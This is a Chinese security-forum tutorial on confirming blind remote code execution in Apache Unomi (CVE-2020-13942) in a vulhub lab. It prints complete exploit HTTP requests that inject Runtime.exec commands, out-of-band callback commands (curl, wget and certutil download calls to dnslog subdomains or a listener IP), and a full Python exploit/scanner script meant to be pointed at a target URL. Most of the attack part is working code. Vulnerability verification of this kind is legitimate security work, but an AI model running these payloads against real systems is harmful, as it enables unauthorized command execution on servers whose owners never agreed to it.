远程代码执行无回显测试方法以及POC编写

l836918621   ·   发表于 2021-01-29 14:28:19   ·   技术文章

0x01 选一个RCE漏洞作为例子

Apache Unomi远程代码执行漏洞(CVE -2020-13942)简单复现

这里就不分析啦,这个项目在线的并不多,单纯拿来举个例子

想看分析可以戳这里:https://xz.aliyun.com/t/8565

环境搭建

vulhub直接docker-compose启动就好了

cd 到对应的unomi目录下
docker-compose up -d

查看一下docker-compose.yml查看一下端口

访问http://xx.xx.xx.xx:8181

或者https://xx.xx.xx.xx:9443

漏洞很好复现(这里OGNL或者MVEL表达式都可以注入)

POC如下:

POST /context.json HTTP/1.1
Host: localhost:8181
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 483

{
    "filters": [
        {
            "id": "sample",
            "filters": [
                {
                    "condition": {
                         "parameterValues": {
                            "": "script::Runtime r = Runtime.getRuntime(); r.exec(\"touch /tmp/successhhh\");"
                        },
                        "type": "profilePropertyCondition"
                    }
                }
            ]
        }
    ],
    "sessionId": "sample"
}

看到文件创建成功了,漏洞复现成功,response显示http 200 OK.但是并没有实际的回显。我们可以换其他命令看看

可以看到确实没有回显。

0x02 无回显RCE检测方法

方法其实大家应该也都清楚,无非是两种方法,dnslog和起端口回连。

DNSlog

公网上可以用的DNSlog有很多,这里我们使用http://www.dnslog.cn/

当然有VPS自己搭当然也是可以的

我们构造一个命令访问的时候带着得到的dnslog子域名就行了

缺点:如果我们是在内网做测试,目标机器无法访问dnslog就无法通过这种方法测试了(当然你可以本地搭建dnslog(狗头))

拿到获取之后域名

xk4fm7.dnslog.cn

重新修改poc,我们可以使用curl hhhh.xk4fm7.dnslog.cn

POST /context.json HTTP/1.1
Host: 10.0.13.125:8181
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 495

{
    "filters": [
        {
            "id": "sample",
            "filters": [
                {
                    "condition": {
                         "parameterValues": {
                            "": "script::Runtime r = Runtime.getRuntime(); r.exec(\"curl hhhh.xk4fm7.dnslog.cn\");"
                        },
                        "type": "profilePropertyCondition"
                    }
                }
            ]
        }
    ],
    "sessionId": "sample"
}

这里就证明命令执行成功了。你说ping和nslookup不可以吗?当然可以啦。

但是因为在写poc的时候我们遇到的可能是linux也可能是windows。ping命令在两个系统用法不太一样,不然就省事多了23333。linux ping不会停,可以加-c来跟数据包数量,windows是-n。然而-n在linux是不尝试做主机名检测,就会导致命令执行也无法停止下来。那么不如还是老老实实用curl和wget

这里我们列一下检测命令

linux:
curl 随机数.dnslog域名
wget 随机数.dnslog域名
windows:
certutil -urlcache -split -f http://随机数.dnslog域名(这里没有准备windows环境,大家可以自己搭建类似的RCE windows环境试试这个命令,很好用的一个下载后门的命令(误))

socket服务器日志方法

这个方法适用于各种场景,只要你有VPS那里都可用

自带http服务器

使用python3自带的http.server服务(python2为SimpleHTTPServer)

直接cmd启动

python -m http.server 8001 #这里的端口随便定义

修改一下执行的命令curl http://10.0.13.174:8001/awda 这里的IP就是你启动服务的主机IP。

然后我们发送重新构造的POC

POST /context.json HTTP/1.1
Host: 10.0.13.125:8181
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 500

{
    "filters": [
        {
            "id": "sample",
            "filters": [
                {
                    "condition": {
                         "parameterValues": {
                            "": "script::Runtime r = Runtime.getRuntime(); r.exec(\"curl http://10.0.13.174:8001/awda\");"
                        },
                        "type": "profilePropertyCondition"
                    }
                }
            ]
        }
    ],
    "sessionId": "sample"
}

可以看到我们收到了Unomi服务器发来的http请求,说明RCE执行成功了

下面再演示一下socket服务器的方法

注意!!!一定要关闭防火墙

这里贴一下python socket服务器的代码

(这里其实有个困扰我很久的问题,这段代码windows上按了ctrl+c之后一定要等下一个数据包发来才能退出,但是linux上是可以直接ctrl+c退出的,所以我建议尽量还是用linux运行)

# -*- coding: utf-8 -*-
import socket,sys,time

send_text = b'ok!!!'

def socket_bind(port):
        host = '0.0.0.0' #定义监听IP,这里也可以为空,空就代表所有IP
        port = int(port) #定义端口
        sk = socket.socket() #创建socket对象
        sk.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)  #这里设置的socket选项可以开启地址复用,防止启动过程中端口冲突问题
        sk.bind((host, port)) #开启监听端口
        print('Wait for the client to %d.' % port)
        sk.listen(5) #这里是只socket连接排队等待数量,由于我们是单线程,其实不必太在意这个
        while True:
            time.sleep(0.5)  #这里等待一会儿时间等待socket接收到下面payload的发送后的结果
            conn, address = sk.accept()
            c_info = conn.recv(20480)
            print("From:")
            print(address)
            print("------------------------------------------------------")
            print("Recv Data:")
            try:
                print(c_info.decode('utf8'))
            except Exception:
                pass
            print("======================================================")
            if c_info:
                conn.sendall(send_text)
                conn.close()

if __name__ == '__main__':
    try:
        if sys.argv[1] == '-h':
            print('''
IPS_tcp_server.exe [port]
example IPS_tcp_server.exe 8080
            ''')
            sys.exit()
        else:
            pass
        socket_bind(sys.argv[1])
    except KeyboardInterrupt:
        sys.exit()

0x03 POC编写

1.编写一个简单的dnslog类,方便我们调用

class Dnslog():
    def __init__(self):
        self.getdnssub_url = 'http://www.dnslog.cn/getdomain.php'
        self.getres_url = 'http://www.dnslog.cn/getrecords.php'
        self.headers = {
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.81 Safari/537.36 SE 2.X '
        }
        self.s = requests.session() #这里顶一个session,同一个session可以拿到之前获取到的子域名的日志啦

    def req(self):#获取请求到的dnslog随机子域名
        try:
            req = self.s.get(url=self.getdnssub_url,headers=self.headers,allow_redirects=False,verify=False,timeout=30)
            return req.text
        except:
            return None
    def res(self):#获取dnslog随机子域名的dns查询日志
        try:
            res = self.s.get(url=self.getres_url,headers=self.headers,allow_redirects=False,verify=False,timeout=30)
            return res.text
        except:
            return None

这个类内容很简单,就是获取www.dnglog.cn的子域名页面,拿到之后使用同一个session去访问dnslog日志即可

接下来我们写一下POC检测主程序,记得导入上面写的类,可以直接复制进去,也可以import方式导入,推荐import方式吧。方便以后扩展

#这里我们首先写一个用于监听端口的函数
def check_vul(ran_str,q,p): #启动socket TCP服务器
    i = 0
    while i < 10:  #防止端口冲突,加上一个循环,用于报错之后可以换新的端口
        try:
            i += 1
            host = '0.0.0.0'
            lport = random.randint(62000,62999)
            sk = socket.socket()
            sk.settimeout(25)
            # 开启地址复用
            sk.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
            sk.bind((host, lport))
            sk.listen(5)
            p.put(lport)
            break

        except Exception as msg:
            pass
    try:
        #print('wait for client port:' +  str(lport))
        time.sleep(10) #这里需要sleep一会儿不然速度太快conn中没有数据。
        conn, address = sk.accept()
        c_info = conn.recv(1024).decode('UTF-8')
        http_uri_get = c_info.split('\n')[0]
        if ran_str in http_uri_get:
            sk.close()
            q.put(http_uri_get)   #由于我们这里的函数需要通过多线程来启动,因此我们要拿到这个函数的返回值需要通过queue队列来传递过来
        else:
            sk.close()
            q.put(None)
    except Exception:
        q.put(None)

def payload(url,cmd): #为了介绍代码的重复利用,我们把发送payload这里写成一个函数,用来多次发送(针对不同的操作系统发送不同的payload)
    headers = {
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.81 Safari/537.36 SE 2.X ',
        'Content-Type': 'application/json'
    }
    json_data = {
        "filters": [
            {
                "id": "sample",
                "filters": [
                    {
                        "condition": {
                            "parameterValues": {
                                "": "script::Runtime r = Runtime.getRuntime(); r.exec(\"{}\");".format(cmd)
                            },
                            "type": "profilePropertyCondition"
                        }
                    }
                ]
            }
        ],
        "sessionId": "sample"
    }
    requests.post(url=url, headers=headers, timeout=15, verify=False, allow_redirects=False, json=json_data) #verify=False用于忽略ssl证书验证

#这里是主函数
def exploit(url):
    urllib3.disable_warnings() #这里禁用掉ssl报错信息,防止访问https页面的时候会报ssl证书错误,
    try:
        ran_str = ''.join(random.sample(string.ascii_letters, 8)) #增加随机字符串,这里随机字符串主要用于RCE检测中提高检测准确率。
        payload_path = '/context.json'
        new_url = url + payload_path
        #提取url中的IP和PORT
        urlparse_oj = parse.urlparse(url)
        ip = urlparse_oj.hostname
        port=urlparse_oj.port
        try:
            iprule_re = re.compile('(10\x2e\d{1,3}\x2e\d{1,3}\x2e\d{1,3})|(172\x2e(1[6-9]|2[0-9]|3[0-1])\x2e\d{1,3}\x2e\d{1,3})|(192\x2e168\x2e\d{1,3}\x2e\d{1,3})') #做一个简单的内网IP地址判断,如果是内网IP,就使用socket tcpserver方法检测,否则使用dnslog检测
            iprule_res = iprule_re.search(ip).group(0)
            if bool(iprule_res) == True: #如何内网也想用IP地址判断,把这里的True改为False就ok
                # 启动回连线程
                q = Queue() #这个队列是用来接收漏洞判断结果的队列
                p = Queue() #这个队列是用来将socket随机端口传出来告诉给主程序的队列
                p3_check = Thread(target=check_vul, args=(ran_str, q, p))
                p3_check.start()
                # 获取本地IP和端口
                sock = socket.socket(socket.AF_INET) #新建一个socket队列用于判断自身IP地址,用于目标服务器回连命令的构造
                sock.connect((ip, int(port)))
                sock.settimeout(30)
                lhost = sock.getsockname()[0] #得到本地IP地址
                lport = p.get() #通过p队列拿到socket服务器的随机端口
                cmd_list = ['certutil -urlcache -split -f http://{}:{}/{}'.format(lhost, lport, ran_str),
                            'curl http://{}:{}/{}'.format(lhost, lport, ran_str)
                            ] #构造windows和linux的两种命令执行检测payload
                for cmd in cmd_list:
                    payload(new_url, cmd)  # 将newurl和构造的cmd命令传入payload函数,用于发送payload包。这里我们直接连续发送windows和linux两种payload包。只要收到对应的回应即可说明漏洞存在
                res = q.get()
                if ran_str in res: #这里针对生成的随机字符串和实际socket服务器拿到的随机字符串进行对比,一致即表示漏洞存在。(其实这个判断再上面check_vul函数已经判断过了,这里并没有特别一定要用的意义啦23333)
                    return new_url
                else:
                    return None
        except:
            pass
        else: #如果并非内网IP,我们执行dnslog的方式来判断
            dnslog_object = dnslog.Dnslog() #创建dnslog对象
            get_dnssub = dnslog_object.req() #获取dnslog的随机子域名
            cmd_list = ['certutil -urlcache -split -f http://{}.{}'.format(ran_str,get_dnssub),
                        'curl http://{}.{}'.format(ran_str,get_dnssub)
                        ] #一样的构造相应的RCE payload
            for cmd in cmd_list:
                payload(new_url, cmd)  # 与上面一样,发送payload数据包两遍
            time.sleep(10) #这里通过一个10s的等待,等待一下dnslog接收日志,时间可以根据实际网络情况来调整
            get_dnslog_res = dnslog_object.res()
            if ran_str in get_dnslog_res: #如果随机字符串在dnslog的日志中,就说明漏洞存在
                return new_url #返回漏洞url
            else:
                return None
    except Exception as e:
        print(e)
        return None

print(exploit('http://10.0.13.125:8181')) #执行测试

下面分别演示一下两种检测的结果

1.socket服务器回连

2.dnslog

完整代码放附件里啦,大家可以自行修改为目标主机的url

用户名金币积分时间理由
veek 200.00 0 2021-01-29 15:03:05 代码思路清晰~

打赏我,让我更有动力~

3 条回复   |  直到 2022-5-31 | 1044 次浏览

柠檬
发表于 2021-2-1

666

评论列表

  • 加载数据中...

编写评论内容

cccng
发表于 2021-8-13

666

评论列表

  • 加载数据中...

编写评论内容

小箭
发表于 2022-5-31

666

评论列表

  • 加载数据中...

编写评论内容
登录后才可发表内容
返回顶部 投诉反馈

© 2016 - 2024 掌控者 All Rights Reserved.